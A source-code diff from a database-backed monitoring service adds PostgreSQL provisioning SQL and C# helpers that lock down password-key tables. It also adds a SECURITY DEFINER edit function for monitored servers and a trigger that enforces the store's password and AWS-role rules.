+      SELECT t.tgname, t.tgrelid::pg_catalog.regclass::pg_catalog.text AS tablename
+      FROM pg_catalog.pg_trigger AS t
+      WHERE NOT t.tgisinternal
+        AND t.tgrelid IN (pg_catalog.to_regclass('{config}.password_key'), pg_catalog.to_regclass('{config}.password_key_service'), pg_catalog.to_regclass('{config}.legacy_secret_pin'), pg_catalog.to_regclass('{config}.legacy_secret_pin_marker'), pg_catalog.to_regclass('{config}.legacy_secret_pin_candidate'))
+        AND t.tgname NOT IN ('trg_password_key_owner_only_row', 'trg_password_key_owner_only_truncate', 'trg_password_key_service_owner_only_row', 'trg_password_key_service_owner_only_truncate', 'trg_legacy_secret_pin_owner_only_row', 'trg_legacy_secret_pin_owner_only_truncate', 'trg_legacy_secret_pin_marker_owner_only_row', 'trg_legacy_secret_pin_marker_owner_only_truncate', 'trg_legacy_secret_pin_candidate_owner_only_row', 'trg_legacy_secret_pin_candidate_owner_only_truncate')
+   LOOP
+      RAISE WARNING 'Dropped trigger % from % because only the store owner may write the password key tables.', stray.tgname, stray.tablename;
+      EXECUTE pg_catalog.format('DROP TRIGGER %I ON %s', stray.tgname, stray.tablename);
+   END LOOP;
+
+   FOR stray IN
+      SELECT k.conname, k.conrelid::pg_catalog.regclass::pg_catalog.text AS tablename
+      FROM pg_catalog.pg_constraint AS k
+      WHERE k.contype = 'f'
+        AND k.confrelid IN (pg_catalog.to_regclass('{config}.password_key'), pg_catalog.to_regclass('{config}.password_key_service'), pg_catalog.to_regclass('{config}.legacy_secret_pin'), pg_catalog.to_regclass('{config}.legacy_secret_pin_marker'), pg_catalog.to_regclass('{config}.legacy_secret_pin_candidate'))
+   LOOP
+      RAISE WARNING 'Dropped foreign key % on % because it references a password key table.', stray.conname, stray.tablename;
+      EXECUTE pg_catalog.format('ALTER TABLE %s DROP CONSTRAINT %I', stray.tablename, stray.conname);
+   END LOOP;
+
+   IF EXISTS (
+      SELECT 1
+      FROM pg_catalog.pg_class AS c
+      CROSS JOIN LATERAL pg_catalog.aclexplode(c.relacl) AS a
+      LEFT JOIN pg_catalog.pg_roles AS r ON r.oid = a.grantee
+      WHERE c.oid IN (pg_catalog.to_regclass('{config}.password_key'), pg_catalog.to_regclass('{config}.password_key_service'), pg_catalog.to_regclass('{config}.legacy_secret_pin'), pg_catalog.to_regclass('{config}.legacy_secret_pin_marker'), pg_catalog.to_regclass('{config}.legacy_secret_pin_candidate'))
+        AND (a.grantee = 0 OR r.rolname IN ('{admin}', '{viewer}', '{mcp}'))
+        AND NOT (COALESCE(r.rolname = '{admin}', false) AND a.privilege_type = 'SELECT'
+                 AND c.oid IN (pg_catalog.to_regclass('{config}.password_key'), pg_catalog.to_regclass('{config}.password_key_service')))
+   ) THEN
+      RAISE EXCEPTION 'A role other than the store owner still holds a privilege it should not on a password key table.';
+   END IF;
+END
+$do$;
 
 -- 11. Role memberships (#3914): the three roles hold none. Nothing above grants one, so every membership in which
 --     admin, viewer or mcp is the MEMBER was given by someone else, and each outranks the grants above -- a
@@ -1114,8 +1565,8 @@ EXECUTE format('REVOKE %I FROM %I', membership.granted, membership.member)
     /// freshly created function is EXECUTE-able by PUBLIC by default, so revoking is mandatory); the caller adds
     /// the narrow <c>GRANT EXECUTE</c>. Shared so the gated live proof test creates the IDENTICAL function rather
     /// than a drifting hand-copy. Definer-safe by construction: owned by whoever runs it (the provisioning owner,
-    /// which holds the config_alert_log INSERT the body needs), an explicit <c>SET search_path = {config},
-    /// pg_catalog</c> so neither the unqualified table nor <c>now()</c> can be redirected by a caller's
+    /// which holds the config_alert_log INSERT the body needs), an explicit <c>SET search_path = pg_catalog,
+    /// pg_temp</c> so neither the schema-qualified table nor <c>now()</c> can be redirected by a caller's
     /// search_path, and a fully parameterized INSERT that hardcodes the resolution shape (never a fire) with no
     /// dynamic SQL. The 12-column list matches <c>PgAlertHistoryStore.RecordAlertAsync</c>'s write for a
     /// <c>BuildResolutionRecord</c> and so do the fixed values, EXCEPT this is pinned to a no-channel row
@@ -1131,9 +1582,9 @@ internal static string BuildCustomAlertResolveFunctionSql(string config) => $@"
 RETURNS void
 LANGUAGE sql
 SECURITY DEFINER
-SET search_path = {config}, pg_catalog
+SET search_path = pg_catalog, pg_temp
 AS $fn$
-   INSERT INTO config_alert_log
+   INSERT INTO {config}.config_alert_log
       (alert_time, server_id, server_name, metric_name, current_value, threshold_value,
        alert_sent, notification_type, send_error, muted, detail_text, context_json)
    VALUES
@@ -1142,6 +1593,493 @@ INSERT INTO config_alert_log
 $fn$;
 REVOKE ALL ON FUNCTION {config}.record_custom_alert_resolution(integer, text, text, text) FROM PUBLIC;";
 
+    // A new column on config.config_monitored_servers is added to this list. A column that holds a secret goes into the
+    // exclusion list of ServerEditLiveTests (the NOT IN (...) beside the column-set check) instead, and stays out of the grant.
+    /// <summary>The columns of <c>config.config_monitored_servers</c> the <c>mcp</c> login may UPDATE directly (#5452): every column except the AWS role, the external ID and the generated external-ID flag, which change only through <c>config.edit_monitored_server</c>. <c>tools/provision-roles.sql</c> carries the same list.</summary>
+    internal const string McpMonitoredServerUpdateColumns =
+        "server_id, name, host, database, auth, username, encrypted_password, encrypt_mode, trust_server_certificate, read_only_intent, multi_subnet_failover, excluded_databases, monthly_cost_usd, capture_plans, is_enabled, created_at, modified_at, alert_delivery_mode_override, engine, port, plan_force_bot_enabled, remediation_username, remediation_encrypted_password";
+
+    /// <summary>The argument types of <c>config.edit_monitored_server</c> (#5240), in order. The one place the signature is
+    /// spelled for the <c>GRANT EXECUTE</c>, so a changed parameter list cannot leave the grant naming another function.</summary>
+    internal const string EditMonitoredServerSignature = "integer, timestamp, text[], text, text, integer, text, boolean, text, text, text, text, boolean, boolean, numeric, text, text";
+
+    /// <summary>The argument types of the 15-argument <c>config.edit_monitored_server</c> that callers built before the AWS
+    /// role columns (#5452) still call: a permanent wrapper over <see cref="EditMonitoredServerSignature"/>'s function
+    /// (<see cref="BuildEditMonitoredServerLegacyWrapperSql"/>).</summary>
+    internal const string EditMonitoredServerLegacySignature = "integer, timestamp, text[], text, text, integer, text, boolean, text, text, text, text, boolean, boolean, numeric";
+
+    /// <summary>
+    /// The <c>SECURITY DEFINER</c> function (#5240) that is the one write of a monitored-server edit, for the web edit route
+    /// (viewer) and the MCP <c>edit_server</c> tool (mcp). Returns the <c>CREATE OR REPLACE FUNCTION</c> plus the
+    /// <c>REVOKE ALL ... FROM PUBLIC</c>; the caller adds the <c>GRANT EXECUTE</c>. It locks the row, compares
+    /// <c>modified_at</c> to the token the edit read (exact to the microsecond), works out a change of host or port
+    /// itself from the stored row, answers <c>remediation_kept</c> instead of writing when the row holds a remediation login,
+    /// and answers <c>password_needed</c> instead of writing when that change, or a switch
+    /// of authentication mode, would keep the stored secret on a SQL or service-principal row. A row whose
+    /// authentication stores no secret never keeps one. A missing value for a required column, or a value the table's
+    /// checks refuse, answers <c>invalid_value</c> instead of writing. Same builder for the managed batch, the script's text and the
+    /// live tests, so none drifts. Pinned <c>search_path</c>, fixed statements, no dynamic SQL.
+    /// </summary>
+    internal static string BuildEditMonitoredServerFunctionSql(string config) => $@"
+CREATE OR REPLACE FUNCTION {config}.edit_monitored_server(
+   p_server_id integer,
+   p_expected_modified_at timestamp,
+   p_columns text[],
+   p_name text,
+   p_host text,
+   p_port integer,
+   p_database text,
+   p_read_only_intent boolean,
+   p_auth text,
+   p_username text,
+   p_secret text,
+   p_encrypt_mode text,
+   p_trust_server_certificate boolean,
+   p_multi_subnet_failover boolean,
+   p_monthly_cost_usd numeric,
+   p_aws_role_arn text,
+   p_aws_external_id text)
+RETURNS TABLE (outcome text, new_modified_at timestamp)
+LANGUAGE plpgsql
+SECURITY DEFINER
+SET search_path = pg_catalog, pg_temp
+AS $fn$
+DECLARE
+   v_old_modified_at timestamp;
+   v_old_host text;
+   v_old_port integer;
+   v_old_auth text;
+   v_old_database text;
+   v_old_read_only_intent boolean;
+   v_old_username text;
+   v_old_encrypt_mode text;
+   v_old_trust_server_certificate boolean;
+   v_old_multi_subnet_failover boolean;
+   v_host text;
+   v_port integer;
+   v_auth text;
+   v_database text;
+   v_read_only_intent boolean;
+   v_username text;
+   v_encrypt_mode text;
+   v_trust_server_certificate boolean;
+   v_multi_subnet_failover boolean;
+   v_secret_auth boolean;
+   v_new_secret boolean;
+   v_secret_set boolean;
+   v_secret text;
+   v_remediation_held boolean;
+   v_connection_changed boolean;
+   v_old_role text;
+   v_old_ext text;
+   v_role text;
+   v_ext text;
+BEGIN
+   p_columns := COALESCE(p_columns, ARRAY[]::text[]);
+
+   SELECT s.modified_at, s.host, s.port, s.auth, s.database, s.read_only_intent, s.username, s.encrypt_mode,
+          s.trust_server_certificate, s.multi_subnet_failover, COALESCE(s.remediation_encrypted_password, '') <> '',
+          s.aws_role_arn, s.aws_external_id
+   INTO v_old_modified_at, v_old_host, v_old_port, v_old_auth, v_old_database, v_old_read_only_intent,
+        v_old_username, v_old_encrypt_mode, v_old_trust_server_certificate, v_old_multi_subnet_failover,
+        v_remediation_held, v_old_role, v_old_ext
+   FROM {config}.config_monitored_servers AS s
+   WHERE s.server_id = p_server_id
+   FOR UPDATE OF s;
+
+   IF NOT FOUND THEN
+      RETURN QUERY SELECT 'not_found'::text, NULL::timestamp;
+      RETURN;
+   END IF;
+
+   -- The token is compared as it was read, to the microsecond.
+   IF v_old_modified_at IS DISTINCT FROM p_expected_modified_at THEN
+      RETURN QUERY SELECT 'conflict'::text, v_old_modified_at;
+      RETURN;
+   END IF;
+
+   v_host := CASE WHEN 'host' = ANY (p_columns) THEN btrim(p_host) ELSE v_old_host END;
+   v_port := CASE WHEN 'port' = ANY (p_columns) THEN p_port ELSE v_old_port END;
+   v_auth := CASE WHEN 'auth' = ANY (p_columns) THEN p_auth ELSE v_old_auth END;
+   v_database := CASE WHEN 'database' = ANY (p_columns) THEN p_database ELSE v_old_database END;
+   v_read_only_intent := CASE WHEN 'read_only_intent' = ANY (p_columns) THEN p_read_only_intent ELSE v_old_read_only_intent END;
+   v_username := CASE WHEN 'username' = ANY (p_columns) THEN p_username ELSE v_old_username END;
+   v_encrypt_mode := CASE WHEN 'encrypt_mode' = ANY (p_columns) THEN p_encrypt_mode ELSE v_old_encrypt_mode END;
+   v_trust_server_certificate := CASE WHEN 'trust_server_certificate' = ANY (p_columns) THEN p_trust_server_certificate ELSE v_old_trust_server_certificate END;
+   v_multi_subnet_failover := CASE WHEN 'multi_subnet_failover' = ANY (p_columns) THEN p_multi_subnet_failover ELSE v_old_multi_subnet_failover END;
+   -- The AWS role (#5452). Left out of p_columns, the stored role and external ID are kept. A role named in p_columns
+   -- with a NULL value clears it, and a cleared role takes its external ID with it.
+   v_role := CASE WHEN 'aws_role_arn' = ANY (p_columns) THEN p_aws_role_arn ELSE v_old_role END;
+   v_ext := CASE WHEN v_role IS NULL THEN NULL
+                 WHEN 'aws_external_id' = ANY (p_columns) THEN p_aws_external_id
+                 ELSE v_old_ext END;
+   v_secret_auth := lower(v_auth) IN ('sql', 'serviceprincipal');
+   v_new_secret := 'encrypted_password' = ANY (p_columns) AND COALESCE(p_secret, '') <> '';
+
+   -- A NULL for a column the table requires is refused with a plain outcome: the edit sends nothing the table would
+   -- have to turn away.
+   IF ('name' = ANY (p_columns) AND p_name IS NULL)
+      OR v_host IS NULL OR v_port IS NULL OR v_auth IS NULL OR v_encrypt_mode IS NULL
+      OR v_read_only_intent IS NULL OR v_trust_server_certificate IS NULL OR v_multi_subnet_failover IS NULL
+      OR ('monthly_cost_usd' = ANY (p_columns) AND p_monthly_cost_usd IS NULL) THEN
+      RETURN QUERY SELECT 'invalid_value'::text, NULL::timestamp;
+      RETURN;
+   END IF;
+
+   -- The store takes the password itself from these roles: a secret that starts with env: or file: (a reference,
+   -- compared as the service reads one, case-sensitive and at the start of the text) is refused. References are set
+   -- in the configuration file.
+   IF v_new_secret AND (left(p_secret, 4) = 'env:' OR left(p_secret, 5) = 'file:') THEN
+      RETURN QUERY SELECT 'reference_refused'::text, NULL::timestamp;
+      RETURN;
+   END IF;
+
+   -- A new role would take the stored external ID with it unseen; the caller sends the ID again or clears it.
+   IF v_role IS NOT NULL AND v_role IS DISTINCT FROM v_old_role AND v_old_ext IS NOT NULL
+      AND NOT ('aws_external_id' = ANY (p_columns)) THEN
+      RETURN QUERY SELECT 'external_id_needed'::text, NULL::timestamp;
+      RETURN;
+   END IF;
+
+   -- An external ID with no role is refused (the table's check would refuse it too).
+   IF v_role IS NULL AND 'aws_external_id' = ANY (p_columns) AND p_aws_external_id IS NOT NULL THEN
+      RETURN QUERY SELECT 'external_id_needs_role'::text, NULL::timestamp;
+      RETURN;
+   END IF;
+
+   -- Any change to how the row connects (host, port, database, read-only intent, authentication mode, username,
+   -- encryption, certificate trust, multi-subnet failover) never keeps the stored secret on a row that has one:
+   -- the same set the route refuses (#5240). The caller's word is not taken: the change is worked out from the row.
+   v_connection_changed := v_host IS DISTINCT FROM v_old_host
+      OR v_port IS DISTINCT FROM v_old_port
+      OR v_database IS DISTINCT FROM v_old_database
+      OR v_read_only_intent IS DISTINCT FROM v_old_read_only_intent
+      OR lower(v_auth) IS DISTINCT FROM lower(v_old_auth)
+      OR v_username IS DISTINCT FROM v_old_username
+      OR lower(v_encrypt_mode) IS DISTINCT FROM lower(v_old_encrypt_mode)
+      OR v_trust_server_certificate IS DISTINCT FROM v_old_trust_server_certificate
+      OR v_multi_subnet_failover IS DISTINCT FROM v_old_multi_subnet_failover;
+
+   -- A row that holds a remediation secret is not moved from here, whatever else the call sends: that secret is
+   -- set and changed on the service host, and a new main password does not replace it.
+   IF v_connection_changed AND v_remediation_held THEN
+      RETURN QUERY SELECT 'remediation_kept'::text, NULL::timestamp;
+      RETURN;
+   END IF;
+
+   IF v_secret_auth AND NOT v_new_secret AND v_connection_changed THEN
+      RETURN QUERY SELECT 'password_needed'::text, NULL::timestamp;
+      RETURN;
+   END IF;
+
+   -- A row whose authentication stores no secret never keeps one.
+   IF NOT v_secret_auth THEN
+      v_secret_set := true;
+      v_secret := NULL;
+   ELSIF 'encrypted_password' = ANY (p_columns) THEN
+      v_secret_set := true;
+      v_secret := p_secret;
+   ELSE
+      v_secret_set := false;
+      v_secret := NULL;
+   END IF;
+
+   -- A value the table's own checks refuse (a required column, a format, a duplicate) answers invalid_value too:
+   -- the table's error text is not passed on.
+   BEGIN
+      UPDATE {config}.config_monitored_servers AS s
+      SET name = CASE WHEN 'name' = ANY (p_columns) THEN p_name ELSE s.name END,
+          host = v_host,
+          port = v_port,
+          database = v_database,
+          read_only_intent = v_read_only_intent,
+          auth = v_auth,
+          username = v_username,
+          encrypted_password = CASE WHEN v_secret_set THEN v_secret ELSE s.encrypted_password END,
+          encrypt_mode = v_encrypt_mode,
+          trust_server_certificate = v_trust_server_certificate,
+          multi_subnet_failover = v_multi_subnet_failover,
+          monthly_cost_usd = CASE WHEN 'monthly_cost_usd' = ANY (p_columns) THEN p_monthly_cost_usd ELSE s.monthly_cost_usd END,
+          aws_role_arn = v_role,
+          aws_external_id = v_ext,
+          modified_at = (now() AT TIME ZONE 'UTC')
+      WHERE s.server_id = p_server_id
+      RETURNING s.modified_at INTO new_modified_at;
+   EXCEPTION WHEN integrity_constraint_violation THEN
+      RETURN QUERY SELECT 'invalid_value'::text, NULL::timestamp;
+      RETURN;
+   END;
+
+   outcome := 'saved';
+   RETURN NEXT;
+END;
+$fn$;
+REVOKE ALL ON FUNCTION {config}.edit_monitored_server({EditMonitoredServerSignature}) FROM PUBLIC;";
+
+    /// <summary>
+    /// The 15-argument <c>config.edit_monitored_server</c> (#5452), kept for good as a wrapper over the 17-argument
+    /// function, for a caller built before the AWS role columns existed (the web route, the MCP tool and the service's
+    /// own call all name the shorter list until they are moved). It passes NULL for the role and the external ID, and
+    /// removes both AWS column names from <c>p_columns</c> first, so a caller of this signature cannot change or clear a
+    /// role, however it builds its list. <c>SECURITY DEFINER</c> with a pinned <c>search_path</c>, revoked from PUBLIC;
+    /// the caller adds the <c>GRANT EXECUTE</c>. Must run after <see cref="BuildEditMonitoredServerFunctionSql"/>.
+    /// </summary>
+    internal static string BuildEditMonitoredServerLegacyWrapperSql(string config) => $@"
+CREATE OR REPLACE FUNCTION {config}.edit_monitored_server(
+   p_server_id integer,
+   p_expected_modified_at timestamp,
+   p_columns text[],
+   p_name text,
+   p_host text,
+   p_port integer,
+   p_database text,
+   p_read_only_intent boolean,
+   p_auth text,
+   p_username text,
+   p_secret text,
+   p_encrypt_mode text,
+   p_trust_server_certificate boolean,
+   p_multi_subnet_failover boolean,
+   p_monthly_cost_usd numeric)
+RETURNS TABLE (outcome text, new_modified_at timestamp)
+LANGUAGE sql
+SECURITY DEFINER
+SET search_path = pg_catalog, pg_temp
+AS $fn$
+   SELECT e.outcome, e.new_modified_at
+   FROM {config}.edit_monitored_server(
+      p_server_id, p_expected_modified_at,
+      array_remove(array_remove(COALESCE(p_columns, ARRAY[]::text[]), 'aws_role_arn'), 'aws_external_id'),
+      p_name, p_host, p_port, p_database, p_read_only_intent, p_auth, p_username, p_secret, p_encrypt_mode,
+      p_trust_server_certificate, p_multi_subnet_failover, p_monthly_cost_usd, NULL::text, NULL::text) AS e;
+$fn$;
+REVOKE ALL ON FUNCTION {config}.edit_monitored_server({EditMonitoredServerLegacySignature}) FROM PUBLIC;";
+
+    /// <summary>
+    /// The store's own password rules for every role but the owner: a <c>BEFORE INSERT OR UPDATE</c> trigger on
+    /// <c>config_monitored_servers</c> and its function. A password that starts with <c>env:</c> or <c>file:</c> (a
+    /// reference, read as <see cref="DarlingSecretSource.IsReference"/> reads it) is refused on insert and on change, and an
+    /// update that changes how the row connects while it keeps a stored password is refused, and one that changes it on a
+    /// row holding a remediation login is refused with its own state (<c>PW003</c>). The owner (the table's
+    /// owner or a superuser: the service, <c>--add-server</c>, the configuration-file seed and the body of
+    /// <c>edit_monitored_server</c>) is not held to either rule, and no existing row is touched. The same text is
+    /// in <c>tools/provision-roles.sql</c> for a self-managed store.
+    /// </summary>
+    internal static string BuildServerPasswordRulesSql(string config) => $@"
+CREATE OR REPLACE FUNCTION {config}.monitored_server_password_rules()
+RETURNS trigger
+LANGUAGE plpgsql
+SET search_path = pg_catalog, pg_temp
+AS $rules$
+DECLARE
+   v_reference_main boolean;
+   v_reference_remediation boolean;
+   v_held boolean;
+   v_moved boolean;
+BEGIN
+   -- The store owner (the role that owns the table, and a superuser) writes what it writes: the service, the
+   -- --add-server verb, the configuration-file seed, and the body of edit_monitored_server, which runs as the
+   -- function's owner. Every other role is held to the two rules below.
+   IF pg_has_role(current_user, (SELECT c.relowner FROM pg_catalog.pg_class AS c WHERE c.oid = TG_RELID), 'USAGE') THEN
+      RETURN NEW;
+   END IF;
+
+   v_reference_main := COALESCE(left(NEW.encrypted_password, 4) = 'env:' OR left(NEW.encrypted_password, 5) = 'file:', false);
+   v_reference_remediation := COALESCE(left(NEW.remediation_encrypted_password, 4) = 'env:' OR left(NEW.remediation_encrypted_password, 5) = 'file:', false);
+
+   IF TG_OP = 'INSERT' THEN
+      -- A new row never holds a reference. The one pass: an upsert's proposed row for a server whose stored value is
+      -- already that exact reference (the row is locked, so it cannot go away before the write), which then meets the
+      -- UPDATE rules below. A role that cannot read or lock the row (viewer, mcp) gets the refusal.
+      IF v_reference_main OR v_reference_remediation THEN
+         v_held := false;
+         BEGIN
+            PERFORM 1
+            FROM {config}.config_monitored_servers AS s
+            WHERE s.server_id = NEW.server_id
+              AND (NOT v_reference_main OR s.encrypted_password = NEW.encrypted_password)
+              AND (NOT v_reference_remediation OR s.remediation_encrypted_password = NEW.remediation_encrypted_password)
+            FOR UPDATE OF s;
+            v_held := FOUND;
+         EXCEPTION WHEN insufficient_privilege THEN
+            v_held := false;
+         END;
+
+         IF NOT v_held THEN
+            RAISE EXCEPTION '%', 'Enter the password itself. References (env: or file:) can only be set in the configuration file.' USING ERRCODE = 'PW001';
+         END IF;
+      END IF;
+
+      RETURN NEW;
+   END IF;
+
+   -- An update never sets a reference.
+   IF (v_reference_main AND NEW.encrypted_password IS DISTINCT FROM OLD.encrypted_password)
+      OR (v_reference_remediation AND NEW.remediation_encrypted_password IS DISTINCT FROM OLD.remediation_encrypted_password) THEN
+      RAISE EXCEPTION '%', 'Enter the password itself. References (env: or file:) can only be set in the configuration file.' USING ERRCODE = 'PW001';
+   END IF;
+
+   -- An update that changes how the row connects (the set edit_monitored_server counts, plus the engine) never keeps
+   -- a stored secret that is still there: the main password is typed again with the change, and a remediation
+   -- password is changed on the service host.
+   v_moved := NEW.host IS DISTINCT FROM OLD.host
+      OR NEW.port IS DISTINCT FROM OLD.port
+      OR NEW.engine IS DISTINCT FROM OLD.engine
+      OR NEW.database IS DISTINCT FROM OLD.database
+      OR NEW.read_only_intent IS DISTINCT FROM OLD.read_only_intent
+      OR lower(NEW.auth) IS DISTINCT FROM lower(OLD.auth)
+      OR NEW.username IS DISTINCT FROM OLD.username
+      OR lower(NEW.encrypt_mode) IS DISTINCT FROM lower(OLD.encrypt_mode)
+      OR NEW.trust_server_certificate IS DISTINCT FROM OLD.trust_server_certificate
+      OR NEW.multi_subnet_failover IS DISTINCT FROM OLD.multi_subnet_failover;
+
+   -- A remediation secret that is kept goes with the login name it was stored for: that name is as much a part of how
+   -- the row is reached as the host is, so it is not changed here either. Not part of v_moved, so it never raises PW002.
+   IF COALESCE(OLD.remediation_encrypted_password, '') <> ''
+      AND NEW.remediation_encrypted_password IS NOT DISTINCT FROM OLD.remediation_encrypted_password
+      AND (v_moved OR NEW.remediation_username IS DISTINCT FROM OLD.remediation_username) THEN
+      RAISE EXCEPTION '%', 'This server has a remediation login stored. Change how it is reached on the service host, in the configuration file or with --add-server.' USING ERRCODE = 'PW003';
+   END IF;
+
+   IF v_moved
+      AND COALESCE(OLD.encrypted_password, '') <> ''
+      AND NEW.encrypted_password IS NOT DISTINCT FROM OLD.encrypted_password THEN
+      RAISE EXCEPTION '%', 'Changing how this server is reached needs its password again: it is stored encrypted and this surface cannot read it back.' USING ERRCODE = 'PW002';
+   END IF;
+
+   -- A new AWS role (#5452) never inherits an external ID stored for the old one, unseen: the update names the ID
+   -- again, or clears it. The owner is not held to this; edit_monitored_server answers it first.
+   IF NEW.aws_role_arn IS NOT NULL
+      AND NEW.aws_role_arn IS DISTINCT FROM OLD.aws_role_arn
+      AND OLD.aws_external_id IS NOT NULL
+      AND NEW.aws_external_id IS NOT DISTINCT FROM OLD.aws_external_id THEN
+      RAISE EXCEPTION '%', 'Changing the AWS role needs the external ID with it: send the external ID again, or clear it.' USING ERRCODE = 'PW004';
+   END IF;
+
+   RETURN NEW;
+END;
+$rules$;
+REVOKE ALL ON FUNCTION {config}.monitored_server_password_rules() FROM PUBLIC;
+CREATE OR REPLACE TRIGGER trg_monitored_server_password_rules
+   BEFORE INSERT OR UPDATE ON {config}.config_monitored_servers
+   FOR EACH ROW EXECUTE FUNCTION {config}.monitored_server_password_rules();";
+
+    /// <summary>
+    /// A self-managed store (not the managed one, and not the compose store the service provisions) has its password rules
+    /// from <c>tools/provision-roles.sql</c> alone, so a store upgraded without re-running the script has none. This runs
+    /// <see cref="BuildServerPasswordRulesSql"/> on the service's own connection, which owns the tables, on every start. It
+    /// never throws and never fails the start: when the connection may not create the function or the trigger, one warning
+    /// names <c>provision-roles.sql</c>. Rules that are already in place are left alone: when the trigger exists, is
+    /// enabled and its function has the built text and search path (a function another role created from the script
+    /// included, which this connection could not replace), nothing is run and nothing is warned, and no lock is taken on
+    /// the table. The check and the command run under the provisioning advisory lock (#5560,
+    /// <see cref="ProvisioningLockKey"/>), so two services starting against one store do not both replace the function
+    /// at once. Returns whether the rules are in place.
+    /// </summary>
+    public static async Task<bool> EnsureServerPasswordRulesAsync(
+        NpgsqlDataSource dataSource, ILogger logger, CancellationToken cancellationToken = default)
+    {
+        ArgumentNullException.ThrowIfNull(dataSource);
+        ArgumentNullException.ThrowIfNull(logger);
+
+        try
+        {
+            await using var connection = await dataSource.OpenConnectionAsync(cancellationToken);
+
+            /* #5560: the check and the CREATE OR REPLACE run under the provisioning lock, like the provisioning batch.
+               Two services on one self-managed store would otherwise both find the function stale and both replace
+               the same pg_proc row at once, and the second would fail "tuple concurrently updated". The check runs
+               inside the lock, so the one that waited finds the function the other wrote and runs nothing. */
+            var alreadyInPlace = false;
+            await ExecuteSerializedAsync(connection, async (transaction, token) =>
+            {
+                alreadyInPlace = await ServerPasswordRulesAreInPlaceAsync(connection, transaction, token);
+                return alreadyInPlace
+                    ? null
+                    : new NpgsqlCommand(BuildServerPasswordRulesSql("config"), connection, transaction)
+                    {
+                        CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds,
+                    };
+            }, logger, cancellationToken);
+
+            logger.LogInformation(
+                alreadyInPlace
+                    ? "The store's password rules are already in place on config.config_monitored_servers"
+                    : "The store's password rules are in place on config.config_monitored_servers");
+            return true;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger.LogWarning(
+                "Could not create the store's password rules on config.config_monitored_servers ({Message}). Run provision-roles.sql against the store as the role that owns its tables.",
+                ex.Message);
+            return false;
+        }
+    }
+
+    /// <summary>
+    /// Whether the trigger is on <c>config_monitored_servers</c>, enabled, a row-level BEFORE INSERT OR UPDATE one, and its
+    /// function has the text <see cref="BuildServerPasswordRulesSql"/> builds (full-line comments and spacing set aside) and
+    /// the pinned search path. A read that fails answers false, so the caller falls back to creating them.
+    /// </summary>
+    internal static async Task<bool> ServerPasswordRulesAreInPlaceAsync(
+        NpgsqlConnection connection, NpgsqlTransaction? transaction, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await TakeReadSavepointAsync(transaction, cancellationToken);
+            await using var read = new NpgsqlCommand(@"
+SELECT p.prosrc, p.proconfig
+FROM pg_catalog.pg_trigger AS t
+JOIN pg_catalog.pg_proc AS p ON p.oid = t.tgfoid
+WHERE t.tgrelid = 'config.config_monitored_servers'::regclass
+  AND t.tgname = 'trg_monitored_server_password_rules'
+  AND t.tgenabled = 'O'
+  AND t.tgtype = 23
+  AND p.proname = 'monitored_server_password_rules'
+  AND p.pronamespace = 'config'::regnamespace", connection, transaction)
+            {
+                CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds,
+            };
+            await using var reader = await read.ExecuteReaderAsync(cancellationToken);
+            if (!await reader.ReadAsync(cancellationToken))
+            {
+                return false;
+            }
+
+            var stored = reader.GetString(0);
+            var settings = reader.IsDBNull(1) ? Array.Empty<string>() : reader.GetFieldValue<string[]>(1);
+            if (settings.Length != 1 || !string.Equals(settings[0], "search_path=pg_catalog, pg_temp", StringComparison.Ordinal))
+            {
+                return false;
+            }
+
+            var built = BuildServerPasswordRulesSql("config");
+            const string quote = "$rules$";
+            var open = built.IndexOf(quote, StringComparison.Ordinal);
+            var close = built.IndexOf(quote, open + quote.Length, StringComparison.Ordinal);
+            if (open < 0 || close < 0)
+            {
+                return false;
+            }
+
+            return string.Equals(
+                NormalizeRulesText(stored),
+                NormalizeRulesText(built.Substring(open + quote.Length, close - open - quote.Length)),
+                StringComparison.Ordinal);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            await RecoverFromReadAsync(transaction);
+            return false;
+        }
+    }
+
+    /// <summary>The function text with full-line comments and runs of white space set aside, the comparison the script's
+    /// copy of the rules is held to as well.</summary>
+    private static string NormalizeRulesText(string sql) =>
+        Regex.Replace(Regex.Replace(sql, @"(?m)^\s*--.*$", ""), @"\s+", " ").Trim();
+
     /// <summary>
     /// Fails closed unless <paramref name="secret"/> is a SCRAM-SHA-256 verifier (#3910). This refuses a plain
     /// password on purpose: the batch is recorded wherever statement text is (an ERROR's STATEMENT line in the
@@ -1164,14 +2102,15 @@ private static void RequireVerifier(string secret, string parameterName)
     /// exist yet is absent. Needs a superuser, which the managed owner is. A read this role is refused
     /// returns nothing, so every role is re-asserted: the safe direction, and the pre-#3910 behaviour.
     /// </summary>
-    private static async Task<Dictionary<string, string?>> ReadStoredRoleSecretsAsync(
-        NpgsqlConnection connection, ILogger logger, CancellationToken cancellationToken)
+    internal static async Task<Dictionary<string, string?>> ReadStoredRoleSecretsAsync(
+        NpgsqlConnection connection, NpgsqlTransaction? transaction, ILogger logger, CancellationToken cancellationToken)
     {
         var stored = new Dictionary<string, string?>(StringComparer.Ordinal);
         try
         {
+            await TakeReadSavepointAsync(transaction, cancellationToken);
             await using var command = new NpgsqlCommand(
-                "SELECT rolname::text, rolpassword FROM pg_catalog.pg_authid WHERE rolname = ANY($1)", connection) { CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds };
+                "SELECT rolname::text, rolpassword FROM pg_catalog.pg_authid WHERE rolname = ANY($1)", connection, transaction) { CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds };
             command.Parameters.AddWithValue(new[] { DarlingManagedPostgres.AdminRoleName, DarlingManagedPostgres.ViewerRoleName, DarlingManagedPostgres.McpRoleName });
             await using var reader = await command.ExecuteReaderAsync(cancellationToken);
             while (await reader.ReadAsync(cancellationToken))
@@ -1181,6 +2120,7 @@ private static void RequireVerifier(string secret, string parameterName)
         }
         catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.InsufficientPrivilege)
         {
+            await RecoverFromReadAsync(transaction);
             logger.LogDebug("Could not read the managed roles' stored verifiers ({Message}); re-asserting every role's password.", ex.Message);
             stored.Clear();
         }
@@ -1607,10 +2547,11 @@ read back below decides. */
                     var verdict = JudgeComposeCredentialDirectory(before, modes.Get(directory));
                     if (verdict.Distrust is not { } wasOpen || !verdict.MayWrite)
                     {
-                        /* #4004 review, round 3: a directory this process found open and could not empty stays refused
-                           to every later caller this start, though it now reads owner-only, so "nothing in it is used this
